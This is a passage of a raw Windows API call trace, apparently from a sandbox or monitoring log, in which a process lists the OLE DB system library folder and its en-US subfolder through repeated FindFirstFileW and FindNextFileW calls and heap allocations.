cAlternateFileName="")) returned 1 [0249.341] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8098396, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb8098396, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9b60d700, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0249.341] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0fd344c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb0fd344c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5fb141f0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0249.341] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1091b27, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb1091b27, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x60936490, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0249.342] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ffc4e3, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb9ffc4e3, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bc4c8f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x46000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0249.342] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d87fee9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d87fee9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d87fee9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0249.342] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10b7c86, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb10b7c86, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x60b01450, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0249.342] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8558a3c0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8558a3c0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x855fc7e1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0249.342] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8558a3c0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8558a3c0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x855fc7e1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0249.342] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0249.342] GetProcessHeap () returned 0x550000 [0249.342] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0249.342] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f34af90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0249.342] GetProcessHeap () returned 0x550000 [0249.342] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0249.342] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f34af90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0249.433] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f34af90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.437] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0249.437] GetProcessHeap () returned 0x550000 [0249.437] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0249.437] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0249.438] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.438] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a39353, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8eb2501, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8a39353, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaorar.dll.mui", cAlternateFileName="")) returned 1 [0249.438] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a858c5, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8a858c5, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0249.438] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a5395f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a5395f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0249.438] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0249.438] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa260c65, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa260c65, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0249.439] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa260c65, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa260c65, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0249.439] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0249.447] GetProcessHeap () returned 0x550000 [0249.447] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0249.447] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7e30c4, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xad7e30c4, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bb42720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdadc.dll", cAlternateFileName="")) returned 1 [0249.447] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadbe75c9, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xadbe75c9, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bb67110, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaenum.dll", cAlternateFileName="")) returned 1 [0249.447] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad8554e1, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xad8554e1, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bb67110, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaer.dll", cAlternateFileName="")) returned 1 [0249.447] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaecb70b8, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xaecb70b8, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bb8e210, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x46000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaora.dll", cAlternateFileName="")) returned 1 [0249.447] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3b5129, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xaf3b5129, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x608c5fb0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaorar.dll", cAlternateFileName="")) returned 1 [0249.447] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868e16a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x868e16a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x868e16a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0249.447] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd6e1ed2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbd6e1ed2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bc4c8f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0249.448] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaddd679c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xaddd679c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bcbf4e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasc.dll", cAlternateFileName="")) returned 1 [0249.448] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb5ad74, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8eb5ad74, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8eb80ed5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0249.448] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb37fe67e, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb37fe67e, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x60d883e0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0249.448] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeaee044, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xaeaee044, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bdee0a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0249.448] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ee79a4, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb4ee79a4, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bdee0a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatt.dll", cAlternateFileName="")) returned 1 [0249.448] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad9d2297, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xad9d2297, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bdee0a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaurl.dll", cAlternateFileName="")) returned 1 [0249.448] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2b0cf35, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb2b0cf35, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xa0f9caf0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0249.448] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6fc914, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b6fc914, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b722a74, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0249.448] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadb02d8f, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xadb02d8f, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb51db240, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0249.453] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28bddc5, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x28bddc5, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0x26a8a93, ftLastWriteTime.dwHighDateTime=0x1ca040b, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0249.453] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28e3f24, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x28e3f24, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0x27ff6ea, ftLastWriteTime.dwHighDateTime=0x1ca040b, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0249.453] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b07acbf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b07acbf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0a0e20, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0249.453] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4e18eb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbc4e18eb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xbc38ac94, ftLastWriteTime.dwHighDateTime=0x1ca0417, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0249.453] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba82b04c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xba82b04c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xaed6d5a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x41000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0249.453] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba87730a, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xba87730a, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xba804eed, ftLastWriteTime.dwHighDateTime=0x1ca0417, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0249.453] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x305d2000, ftCreationTime.dwHighDateTime=0x1c8e1ec, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x305d2000, ftLastWriteTime.dwHighDateTime=0x1c8e1ec, nFileSizeHigh=0x0, nFileSizeLow=0x29618, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0249.454] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x305d2000, ftCreationTime.dwHighDateTime=0x1c8e1ec, ftLastAccessTime.dwLowDateTime=0x5f3710f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x305d2000, ftLastWriteTime.dwHighDateTime=0x1c8e1ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e218, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0249.454] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x305d2000, ftCreationTime.dwHighDateTime=0x1c8e1ec, ftLastAccessTime.dwLowDateTime=0x5f3710f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x305d2000, ftLastWriteTime.dwHighDateTime=0x1c8e1ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e218, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0249.454] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0249.454] GetProcessHeap () returned 0x550000 [0249.454] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 